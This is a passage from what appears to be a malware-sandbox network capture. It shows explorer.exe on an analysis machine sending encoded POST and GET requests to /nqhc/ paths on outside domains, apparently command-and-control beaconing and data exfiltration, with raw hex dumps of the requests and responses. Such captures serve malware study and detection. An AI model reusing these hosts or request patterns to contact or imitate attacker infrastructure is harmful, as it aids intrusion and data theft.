6PjaDiaYVoKuqyw9P~c1zn7Ji1JFuXIxkCnk1E9qSQU5c911oQ_RtGZge4UnWli~FUKNzEj38xueZnPN_iqr3ABEfQVVDSkosJTWILNFxdELG9NuObvpLBRKHsit8H9iI2iRPkNmScMT-O_WiE-RSLn35c0hc2-g5AdLPYszRMIMYOQn6lLysCm~qKKf_iwYCIDBNb9ONSoweWeiMgfExifGxRJNUKvhtU3qad1LgygiIJP~bLe00q6fWcAAxffaByh2NftaIIwO3l78rAznFtAiz24s-GerDpIvDViAMfOlrXw4mBZ8J(36E16~chqXZCLXc9exgYPxAac1qX3eNbPN02L0WGSUxJZSLUNVTVaenttuxzp~Xb9Nph6zy0av9EtwvF8nB8-mstN4WXYzknH21WjIpxrqihLhMcG3-6owcWuGFp7KzIVfheGjFWfaP~KGR4fvJ(xf9UzrJ2W(1PMv5Tle9eOHnh0ff7Ban(p3bAC~oNcU3p_Cv2w9lqElV(_4pfJlSe-qY7HSJbxEL3pFe4j1rVIwZutC6KKMcA5PGsf743_cywZZU2h~rQrqlqOjFDHi2uezk2w0T8ejeHiJyh88keJV0NulXIR7mXv7R68Gl246kaFy3Clf8M3VB5wqWAkWXuuzsQSpwxLOe7AdCJ-0Dx3FdHNsa1zpnBEKUy4SzW19vH7zHB5QUiH~fgzfWflgKjxxLlW6i42VXoF0mp2UHp6wOflIVpX0FYxk1bLXF~NVj(cX_oc32WwUr1VLb6OGOdvD4oxYHTWKYFEZvyC8F9gcVhh0ol_OlGZT1uy62TzUM4rWuA-KNm43qgCXlfN8RaztLThpXWA806o6NdwRTFX6WgzNMAoXACI~emCUDojGSeL3XyK97UD4-RxrsOJQABWuhabl37ZsLvnGin10LlrcvD9GW8IQ4A14Z1PeG76aSy8uDw5XodYaepbhfCMk_~nmDVE~AqqXNgXp60Ukwhxy1bdMnRjvw3uH_Kb(JRadaGh9nCHlA4nTJ5cA-zkTe6HqNSU4kF1f2p_E3vwRdFws37lmxXDmyDH7a(e0F7Vl5t5PS1GrD8m9QUwoun5IE4ID3KprR7TDq(UGIo-0WIqWKXVKwII89Dw924G~qA32QfCzRzra2dUkWYgGErwC_C5j8HNAWQjU-M6ONR_m-2JAiit0NU1zazbvsvczn6Hw7u1(mm_M_tMJvbmcrBA5uVs0Amxip~fSFtZ74PHomX4ueC2un(F1A4PvYQwD8xEBA8Xu_K4OPAOSPbwBi2-qp6mYa(i1QSqbJhxECDtsIJgVSVcm5sYxkXhGy4FrxF2fOzpInUV0zl6B-DF5DMV9lFJnsu0QnkCAc1It2syNGDQUcFm~sJ1UYswHrnHwSEf1lundys3siJI136-YBAx0hneHUGow7kRzXCFEjfsnYyZlwCAh7vb(epivaRIP5Mxf3(rJTtUS9ulw3l0~O6i(bOPGgg4Rwry9ixOLqOIu1pRl6CBUlJIUbgDIn7TI60FFjY9Yh~lOAIy42xSzRGpzExiUhKWmUg-XE6es8kHlYOLHP8cKF6TDXIRwu9xg_aKVoPFOsZdXUabi-HhLQTvcLFTDCDc95vXc9vTGt(zDHblvl0E5Xs2a0INHu94tAe788xTrBW35HsNBaU5AgPc8ybio8K62UYqUzuspuObO4qXGOe9omjektJpyvDEvFDCTnodEQoM(sLT87Z-3C4aMoO6yxauhiZP8fLiengjGcZIcLxGAU5GUaCbf-u0~9tTzrY6pIVygsDSINzH8Y0MxL0R70Ao2Qzdo0eSEDfgA7z0LtHZS5q93N1lA7duty8RuzEmTqCMfcYdiAdzUVfUhgpFWTbLeE(sz_FfQo0qwYpvb3Yi0ruRepdiUnTIWjgD9DxwrtdgoiwSEeCK5EDZME7ST7jJ0lGOD6fr3yUP4YTjblSQ~XuVzyq4m3mOk0Cxy-4YNV52yD7N9tpIWRjxifUYR-LFSv5cy7MnTOWErUkTXHHqR14XJFFxsntdMI2NgHBpr3(cj73-zUMDCd9-I_Tza7cIkXlpdwUQHziDwgbDykjIl6N72KTEp66UfyLO(z7BPhoy(-(
Dec 5, 2022 15:18:45.940052986 CET	12377	OUT	Data Raw: 31 4f 43 57 47 51 77 47 5a 78 36 50 50 58 61 41 31 28 57 6d 48 6d 5a 50 52 33 53 44 44 67 37 35 78 56 52 6c 62 4a 59 51 4c 4e 45 6e 4b 67 6a 77 48 51 72 6c 5a 46 32 69 41 65 4c 6f 55 51 36 48 77 77 30 56 69 49 31 62 75 4d 54 39 4e 44 43 50 5f 4d Data Ascii: 1OCWGQwGZx6PPXaA1(WmHmZPR3SDDg75xVRlbJYQLNEnKgjwHQrlZF2iAeLoUQ6Hww0ViI1buMT9NDCP_MouFBrts801JRT7nzjY5sPoAJArqBZ(o6nbjKqdto31XSVi7LpQFNW(uzk3UlSHUrDIakW4v84kSSqvzXXBDDdvwDVCAIwB9A5A-C4Oye6sAiHdJVb4TZVVLHP5cYHAOX-HHrb9gj72gHUQbQViOuQKF1dg3T_65x5
Dec 5, 2022 15:18:46.054534912 CET	12383	OUT	Data Raw: 36 4f 59 4b 57 32 6c 59 2d 76 50 42 2d 38 76 79 71 46 75 28 6c 50 38 28 5a 74 70 45 6e 7a 74 4a 53 35 46 6c 56 7a 73 78 49 71 4f 65 49 32 36 69 34 46 67 38 50 77 7a 77 6c 6f 6f 48 4b 38 46 74 48 30 71 4f 59 76 7a 72 44 77 74 31 6c 77 31 46 67 59 Data Ascii: 6OYKW2lY-vPB-8vyqFu(lP8(ZtpEnztJS5FlVzsxIqOeI26i4Fg8PwzwlooHK8FtH0qOYvzrDwt1lw1FgYh~RkFKyWjWVtbar53SLTWgsl5fUmWOS~pVSJC5yXj~z9m(5sHZXhB8M8vnV6JlTvGx343Oll3hidVSUikl9jyrENFo3ZFbJ6vj0Munk23rw6YPzMG40(QuKR7AgJUJYkMEFExMpvpujrI4-gtypeax-Tcx047Sc~Z
Dec 5, 2022 15:18:46.054661036 CET	12396	OUT	Data Raw: 39 62 4d 32 53 4b 52 6b 44 57 31 78 6c 66 35 28 6a 37 78 48 52 50 6a 45 70 33 4d 4e 41 59 4b 57 42 6d 54 66 76 74 62 76 6f 4e 51 37 56 52 30 6b 4f 52 6c 41 53 62 34 69 6a 4a 30 77 6b 6e 71 6b 37 54 4c 45 72 64 63 74 53 73 31 59 38 36 61 62 35 63 Data Ascii: 9bM2SKRkDW1xlf5(j7xHRPjEp3MNAYKWBmTfvtbvoNQ7VR0kORlASb4ijJ0wknqk7TLErdctSs1Y86ab5ces9iKxQ9u0LCsFqe2Ypmfh50ArMlVZfN9NdimGaOslqWgizln93GPrnrvDOAFLqYNlPb0I8sJjY5CO1D4jDWertP7aedRIGyvabVFtwwmU8aAcKYywkQbRG6DVfbbOBIKvPr9F9CvSMi9A7BAVgn55e4gWDPit6sO
Dec 5, 2022 15:18:46.054738045 CET	12402	OUT	Data Raw: 39 6c 43 61 4d 75 6c 4c 4d 62 70 64 33 4a 54 63 77 48 4f 74 48 39 6f 37 4f 69 6f 50 6c 56 39 48 4c 5a 76 68 6c 4b 63 76 4c 66 31 68 47 39 72 58 63 50 5a 73 57 6b 65 31 50 37 6a 79 74 50 6c 53 51 67 74 69 53 37 52 61 32 45 42 41 78 51 45 4f 5f 4d Data Ascii: 9lCaMulLMbpd3JTcwHOtH9o7OioPlV9HLZvhlKcvLf1hG9rXcPZsWke1P7jytPlSQgtiS7Ra2EBAxQEO_Mql07fwRAFlKDS24Muelh-oZ~mPLwYTOUb6g0GcSC5CvMGxc6TNjbjVceDBP~eAF8ITWhBMKLN3Pfb6MTLGTQq6rGGOiLE6QIAtFdquILolUJfGv(SMlwAPpzCK0eA6CcX(QG4Cr5z1qgRzcHLJzEhQiHsOQ8tSdQQ
Dec 5, 2022 15:18:46.169112921 CET	12409	OUT	Data Raw: 64 57 6b 4f 34 6a 44 35 49 77 42 33 6c 32 54 71 49 51 46 66 43 56 64 6a 43 66 46 61 31 4e 49 7e 78 59 36 4e 56 42 65 32 38 4c 54 4e 70 44 4b 7a 53 4f 74 52 6b 4c 76 51 44 54 77 62 79 38 52 33 4c 64 6b 6b 62 65 69 50 78 28 68 48 50 76 75 54 59 63 Data Ascii: dWkO4jD5IwB3l2TqIQFfCVdjCfFa1NI~xY6NVBe28LTNpDKzSOtRkLvQDTwby8R3LdkkbeiPx(hHPvuTYcqmtcMW58ppTX3mdAavYFi2_~oSqDZ4dM2LuVyorx96pi6jM5HAcJJzmhxTnHO(TPU(bWQMBDxjBG1oy5VLhf3OEOqY_OeWXzyM7QmOdyc30occgxZ01YAvPXkCYFe1hZ29q7KFjcQupsSObyll6fZlJ0C~gMlP23_
Dec 5, 2022 15:18:46.169214964 CET	12415	OUT	Data Raw: 35 48 54 53 7a 63 74 50 31 75 35 48 56 47 66 45 6f 66 48 65 58 31 56 59 43 6f 33 49 4f 68 63 70 54 57 68 7a 47 39 4a 4d 56 4d 33 67 46 74 58 67 2d 28 6f 79 43 61 63 62 71 68 4e 6e 4a 51 5a 77 54 7e 6c 49 36 4e 6c 44 72 6d 5f 52 35 66 53 4f 45 6e Data Ascii: 5HTSzctP1u5HVGfEofHeX1VYCo3IOhcpTWhzG9JMVM3gFtXg-(oyCacbqhNnJQZwT~lI6NlDrm_R5fSOEn929Np(VX0nbF9iHeVwnKaRJVvt8y9Up3Zgwy0bvQLBPntckO9pzy6ofF7qxMbZ0dvKmBztZtSPKO-Ev1CnAPd~g84pP5aaa6zKkNY6UFNs_iuFoFssBO0vwNgIMkcv1esbJFIuOawfsTF9pP9YWtlfLw9v3ujdvRg
Dec 5, 2022 15:18:46.169296026 CET	12416	OUT	Data Raw: 39 75 42 6a 43 65 6b 59 51 35 34 79 56 28 35 63 68 55 44 5a 56 6b 4b 46 55 33 75 75 53 6e 56 36 37 76 63 78 38 35 75 49 79 34 49 77 63 63 70 76 30 48 48 7e 38 4f 63 75 4e 52 7a 4c 6b 63 63 61 41 63 79 45 43 77 35 69 6c 43 49 55 67 34 71 74 46 4b Data Ascii: 9uBjCekYQ54yV(5chUDZVkKFU3uuSnV67vcx85uIy4Iwccpv0HH~8OcuNRzLkccaAcyECw5ilCIUg4qtFK5tBpD60FRZl7wfvnuBgYVGVC74ucFjBHdBjfNdWyo82CAaocsYF9oFeEid173J4S29J4kni9GaXzNQ4GlVjeua_mKitBW2INpFGUoUifMDp0mg1A7iCVCKTifuWjoRxDed7coI-qcK7amRxQmi6eaQnNfxt7oDFXp
Dec 5, 2022 15:18:46.442459106 CET	12418	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:18:45 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13070 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a 62 64 67 a7 ea ee 4d 5b e4 4c 4f f7 ea d5 ab 57 ff d9 d7 6f cf df ff e3 c7 57 24 35 19 1f ee ee f6 ed 2f 89 99 1a 38 dc 28 87 70 2a 92 81 03 c2 fd e9 c2 d9 dd c9 15 8c d8 f5 c0 91 49 0f 0b 4c ae 7b be 2f 93 dc cb c0 17 fa b9 43 10 60 a7 9f 02 8d 87 bb 3b 84 ec f4 33 30 94 44 29 55 1a cc c0 f9 e9 fd 37 ee 89 b3 fc 24 68 06 03 67 cc 60 92 4b 65 1c 12 49 61 40 60 ea 84 c5 26 1d c4 30 66 11 b8 e5 a5 ae db dd d9 e9 3f 73 5d f2 82 73 c2 04 79 2b 80 5c bc 7a 4b 3a 5e cb 3b f6 02 e2 12 ca a4 06 e9 45 32 23 ae 3b b4 e9 4b 9d 94 0c a5 d1 4b 7d 84 64 22 86 6b 87 f8 77 53 13 10 a0 a8 91 6a 29 fb 4e d3 fd 17 df bf c5 df 83 79 f7 19 8c 8e 14 cb 0d 31 d3 1c 81 68 9e 73 16 51 c3 a4 f0 79 7c f8 51 4b 81 90 9c 6a 8d 6f 25 59 57 47 29 64 d4 4e b8 b3 73 e3 fc 47 d9 ef da 38 3d a7 d2 f8 83 ff c1 af 52 3c a9 12 a7 e1 fc 47 a2 68 9e 3a bd 5f 30 d9 36 c1 cc 97 0a 55 8f 54 91 85 af 99 36 36 87 c5 2b 00 4a 4e 29 37 10 a5 09 97 21 e5 56 a0 0f be f8 2d 8d 3e f8 cf c3 79 31 af 8a 99 81 cc e2 bc e2 90 e1 e4 2b 9d 6c fc 7b 7c df b6 c7 73 be 28 c8 a5 66 56 08 a7 17 54 4d 9c de 02 f8 67 08 7f a4 09 6c 8b 8b 79 76 53 98 f8 9d cc 6c 55 a1 f8 16 55 b7 58 86 e2 96 84 b6 d5 67 3e c1 6d e3 e9 3a dc c5 5a 56 a3 f5 c9 6a 54 e8 0b 4d 7e 90 86 7c 23 0b 11 6f 2b 4c 0d 80 f2 e4 0a c6 4c 16 7a 3b 89 96 c4 f9 75 59 9e b7 2a a1 82 fd 5e fa 7e 6b ab c8 d5 a2 7a 96 77 36 97 bc c7 64 f2 6d 99 bd f5 b2 1b 0e 97 89 5c 96 f5 fb 0c 45 7d 1b 7e 84 c8 6c 8b 32 c9 dd 48 0a 03 c2 7c f0 8b 9c 4b 1a eb 0f 7e ab d9 6a 7d f0 83 e0 83 1f 29 99 e7 10 bb af b1 d3 1b 7a a5 dc c0 cb 45 f2 a4 91 2d 04 16 4e 58 6c 52 34 45 a7 d9 70 52 60 49 6a 9c 5e a7 8d 9b 61 96 7c 39 cd d3 a0 6f 97 17 f4 24 83 3d 9f 40 98 57 55 7f c4 55 48 5d bc a6 22 29 4a fe 0e 08 f7 a7 0b 1b d4 3f 52 65 de 8e b6 1f 09 db 6b 66 c0 da 34 54 40 e3 48 15 59 b8 75 79 3d c3 a2 d2 7a f7 9e 2a 17 b6 c1 b6 eb 9b 11 da de 91 1b 4c bd 56 a4 bc b0 34 53 50 4f 5b 3c 8e f7 eb ed ee ce 4e df d7 91 62 b9 19 da f3 33 d7 25 2f 38 27 4c 90 b7 02 c8 c5 ab b7 c4 75 87 bb bb bb d5 d3 fb 94 69 62 c7 22 f8 2b 73 c3 32 f6 3b c4 64 c2 4c 4a 4c 0a e4 1f 92 6a 53 56 e5 bc 48 10 64 1c 9c 7a 41 40 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$bdgM[LOWoW$5/8(pIL{/C`;30D)U7$hg`KeIa@`&0f?s]sy+\zK:^;E2#;KK}d"kwSj)Ny1hsQy\|QKjo%YWG)dNsG8=R<Gh:_06UT66+JN)7!V->y1+l{\|s(fVTMglyvSlUUXg>m:ZVjTM~\|#o+LLz;uY^~kzw6dm\E}~l2H\|K~j})zE-NXlR4EpR`Ij^a\|9o$=@WUUH]")J?Rekf4T@HYuy=z*LV4SPO[<Nb3%/8'Luib"+s2;dLJLjSVHdzA@\R1lTq@kvCkC"!#YQiL,P+2#H
Dec 5, 2022 15:18:46.442534924 CET	12419	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f 7e d4 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|~'q)suBFD<uomZe~y:<MC5^dUQ"@f~h8LNx%(0h!95FTvb"t~+@M]&.CoS~ska5IF.vy%W+6lcmre#DV
Dec 5, 2022 15:18:46.442594051 CET	12421	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba 5f 45 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$E_EHk~o/Lo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Dec 5, 2022 15:18:46.442651033 CET	12422	IN	Data Raw: 0b dc 1e 83 94 c7 25 a4 2d cb 2a de 38 08 fa 6e da ab 3d 50 96 3d b2 8a 8c 19 37 2c 90 a5 58 16 b3 65 d5 9c a1 3d 0a a3 e0 b7 82 29 88 5d eb b4 b5 24 e6 76 3a cb 69 1c 33 91 2c 3c 5e 8a dc f4 da 9b d7 25 c5 85 e5 aa 35 43 a2 29 b0 24 35 25 c4 13 Data Ascii: %-*8n=P=7,Xe=)]$v:i3,<^%5C)$5%M;bJhEESqFQGReP[4l"j,(#hSrcT,o=%'gt/a@5:[W-A9u(Uf%g,I.UOb5.vQEcV^Fht(YFn7n8=!
Dec 5, 2022 15:18:46.442707062 CET	12423	IN	Data Raw: b5 4f 36 a4 9c 60 4a d7 6b 1e d9 94 db de 24 05 05 fb 1e d3 28 c4 54 16 c6 1d 71 b8 3e b8 49 68 6e 07 ea da 9c 50 c6 53 b2 92 21 27 64 48 3c ca 59 22 38 8c cc 0d 46 28 5a d8 9e cf 32 d4 93 09 97 09 ce 70 ed da 50 85 2f cd 3b 61 10 31 8e f2 28 b8 Data Ascii: O6`Jk$(Tq>IhnPS!'dH<Y"8F(Z2pP/;a1(bI:G//-G#M]i-$XKe+IH!$Z+.Xmf!];aI{dLNrrpr28ppgVlbi_&f:{9(>+)@{
Dec 5, 2022 15:18:46.442763090 CET	12425	IN	Data Raw: ca 1f 3e a2 87 17 9c 86 87 6f 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 5f d3 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d 4e Data Ascii: >oEuu1^(e_jKVm:oVuivuYb:nu9/GWrR]Ni=b\sKT[AP~NjD>4:Lfe',T?nK*PKYH\2KfqR^@DL,tr\|~NC&hs'YP2mT
Dec 5, 2022 15:18:46.442820072 CET	12426	IN	Data Raw: 7b 24 83 98 d1 c1 1e e5 7c 8f f8 c3 dd 3e 67 e2 8a e0 4e 06 7b 1a 9d 0e 3a 05 30 7b 84 c5 83 bd f1 c4 8d a9 ba 72 43 2e a3 2b b7 7c 75 4b 88 54 c1 68 b0 97 1a 93 f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 4f 72 37 92 c2 80 30 be 49 21 03 ed Data Ascii: {$\|>gN{:0{rC.+\|uKTh\|_)42dOr70I!X>LV{xOSc@]O0\|B)63?aT31.Q(AJL5;HP^Gf(;)A"{sY&f:tR-i+r+\8c
Dec 5, 2022 15:18:46.442874908 CET	12427	IN	Data Raw: 0f 95 49 ac 91 87 ff 3f fb fd df 56 0f b6 f6 76 b0 b5 99 83 7f bb f7 9f e2 de bc 50 39 07 77 0a 1c ab fe 55 1d ec 75 3b a7 cd e0 f4 a8 79 7c d2 69 db a6 de e9 c9 49 ab dd 6d 9d 76 82 e0 f8 a8 fb f9 fd ed 1d 23 6e e7 b8 d9 2d fb b4 b1 63 6b 85 c3 Data Ascii: I?VvP9wUu;y\|iImv#n-ck8A_\24&ZB*oS9Dj0Q_:=L&Ifip&/MZZ><dTh;Qq"%E yh31,d7#4?cP#
Dec 5, 2022 15:18:46.442929983 CET	12429	IN	Data Raw: aa 11 bb c6 e9 0b 5e 91 c5 b0 1b 2c ac 5c 27 d4 fb b9 2c 19 f7 39 5b e4 22 df cc 0d ba 0b a2 b3 20 59 3c 9b 69 0e 6e 54 68 23 97 a3 32 fc 08 91 b9 1f 47 b0 61 9f 92 54 c1 08 ed 64 4c ae 7b be af e4 94 72 03 51 9a 70 19 52 ee 45 32 73 86 df c9 0c Data Ascii: ^,\',9[" Y<inTh#2GaTdL{rQpRE2s>p6]CqZ3iEx4q;H~YV[04yW\|V'[2f4Gx$ohd+6+8dvWp,1Ic#rK7#F\j GCj
Dec 5, 2022 15:18:46.442986012 CET	12430	IN	Data Raw: 26 ed fb d5 6b 99 7d 27 75 6f 93 75 5b cd 56 cb 0f 02 7f 6f 48 7e 90 63 c8 42 50 c4 c6 c8 12 e2 1f 86 6b 5a b8 b7 91 91 9f 03 ad 79 6a d1 2e 20 37 9f 87 5d f3 c4 e2 bd 28 92 42 9b 4f 07 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 de d0 Data Ascii: &k}'uou[VoH~cBPkZyj. 7](BO;`YCUP>k@S+?]BB}]/})b9?1p?_BYr3J2 08>q,6CvwfxDyJEyATs@g#
Dec 5, 2022 15:18:46.556859016 CET	12431	IN	Data Raw: e4 a1 db 76 96 11 77 ca 82 f9 08 f9 54 d9 11 49 24 85 a1 0c 07 75 d6 b0 ca 67 f9 59 e8 36 9d 21 ea 5e 8a 3c d3 78 32 99 78 e3 09 1a 21 03 5d 0a 5c 1d fd 91 02 70 63 aa ae dc 89 54 71 ae 40 6b b7 7c f2 89 a1 2a 01 33 d8 bb 0c 39 15 57 7b c3 af 31 Data Ascii: vwTI$ugY6!^<x2x!]\pcTq@k\|39W{1Y?,f\^q}n<k#%9/rb#\JrWl,\?.JHS^-rWXzD,7LsYG:Uti/$I]"q?j#g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.11.20	49912	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:18:48.078620911 CET	12432	OUT	GET /nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&t0D=yFNHS0IX HTTP/1.1 Host: www.royaltechglobal.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:18:48.318914890 CET	12432	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 05 Dec 2022 14:18:48 GMT Server: nginx/1.23.2 Content-Type: text/html; charset=UTF-8 Content-Length: 0 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://royaltechglobal.com/nqhc/?7nWHV=RArbiR8kGTfwvUfF12jr2giE5B3dEAwcjM/WknZipSSonmN/xNtrcN1ZKvLPmagqEcu1BGBCcvtDrHnt/goojoamQzAeoLFDeA==&t0D=yFNHS0IX X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress X-Server-Cache: true X-Proxy-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.11.20	49920	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:03.502260923 CET	12485	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 66 61 4d 5f 6d 5a 4f 34 66 74 76 48 31 61 4f 4e 47 2d 55 4e 30 75 54 36 48 42 64 55 46 73 56 41 5a 72 46 4b 71 72 49 34 49 46 38 58 6b 56 71 49 44 53 6f 37 48 59 66 6d 76 6c 53 46 63 62 37 6c 66 7a 36 4c 4c 6a 4c 4e 7e 50 69 45 77 6f 67 37 30 34 5a 51 47 53 75 6c 4a 4f 5a 5f 47 33 41 6e 39 7a 78 65 63 33 34 76 69 56 75 78 43 30 5a 65 35 71 37 57 52 72 44 33 31 4d 6b 59 73 56 30 46 6e 77 75 55 63 75 54 48 35 37 42 54 73 5a 4a 36 6a 6e 6e 59 6a 61 34 5a 65 32 42 37 6b 64 47 49 7e 49 71 63 59 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=AkaMX_QkdLfVfaM_mZO4ftvH1aONG-UN0uT6HBdUFsVAZrFKqrI4IF8XkVqIDSo7HYfmvlSFcb7lfz6LLjLN~PiEwog704ZQGSulJOZ_G3An9zxec34viVuxC0Ze5q7WRrD31MkYsV0FnwuUcuTH57BTsZJ6jnnYja4Ze2B7kdGI~IqcYQ).
Dec 5, 2022 15:19:03.709583998 CET	12485	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 05 Dec 2022 14:19:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.11.20	49921	38.55.15.214	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:19:05.686863899 CET	12486	OUT	POST /nqhc/ HTTP/1.1 Host: www.xiaoxiuzhen.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.xiaoxiuzhen.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.xiaoxiuzhen.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 41 6b 61 4d 58 5f 51 6b 64 4c 66 56 65 36 38 5f 71 59 4f 34 4f 4e 76 45 7e 36 4f 4e 55 2d 55 4a 30 70 62 36 48 46 45 66 47 65 78 41 5a 4b 31 4b 70 76 6b 34 50 46 38 58 73 31 71 4e 63 43 6f 30 48 59 53 62 76 67 71 46 63 59 48 6c 65 41 79 4c 63 6a 4c 4b 78 76 69 44 33 6f 67 6d 28 59 5a 4f 47 53 54 45 4a 50 4e 5f 47 48 73 6e 38 78 70 65 57 47 34 73 7a 6c 75 33 56 6b 5a 66 75 36 37 69 52 72 65 4b 31 4f 30 6d 73 6a 55 46 6d 51 4f 55 64 75 54 59 78 4c 42 59 6a 35 49 5f 6b 6d 54 49 71 72 41 70 41 31 52 45 38 75 48 4a 37 4c 76 67 47 39 30 75 4d 47 64 53 30 6b 48 4a 46 76 4d 58 48 78 37 55 7e 64 6e 76 7e 61 59 71 63 35 6e 4c 28 56 5a 6c 35 4e 34 6a 74 6c 65 62 51 50 63 39 6d 61 77 35 6b 66 53 6e 72 6c 34 57 38 42 33 61 54 66 6d 72 49 72 6d 6c 42 68 65 45 7a 38 44 38 70 45 41 74 51 32 63 64 72 34 44 4b 42 46 30 58 4a 7a 41 6e 44 33 70 39 59 55 39 61 46 66 53 73 4f 48 6f 58 6f 52 42 36 35 34 65 7a 79 49 65 4a 62 6d 64 48 52 2d 4a 66 32 44 4d 66 63 52 69 6f 37 7a 6b 77 51 71 28 68 4a 6b 79 45 63 47 6d 6c 74 70 6d 6b 64 73 59 57 57 53 63 79 4a 33 5a 72 71 6f 69 67 28 70 36 75 42 39 34 5a 37 4a 64 7a 75 70 56 57 35 79 4f 43 6a 70 49 62 34 64 67 46 41 31 44 43 55 77 46 69 35 30 46 52 72 4e 4a 54 4b 75 32 38 43 37 72 74 70 6e 48 57 49 35 4a 35 6b 6e 73 61 66 5f 58 4e 6e 30 59 34 6d 43 65 74 58 71 65 42 4c 4e 30 33 31 34 46 68 5a 6a 64 39 61 64 7e 64 4e 4a 39 76 6f 77 49 4c 6d 5a 76 7a 68 52 6f 61 34 6d 58 51 46 41 77 68 4e 41 68 31 69 68 7a 52 44 4e 57 5a 4e 53 77 58 69 6b 63 62 6f 74 6f 32 41 34 66 65 72 4c 57 74 56 66 6a 53 31 74 4a 30 68 48 63 2e 00 00 00 00 00 00 00 00 Data Ascii: 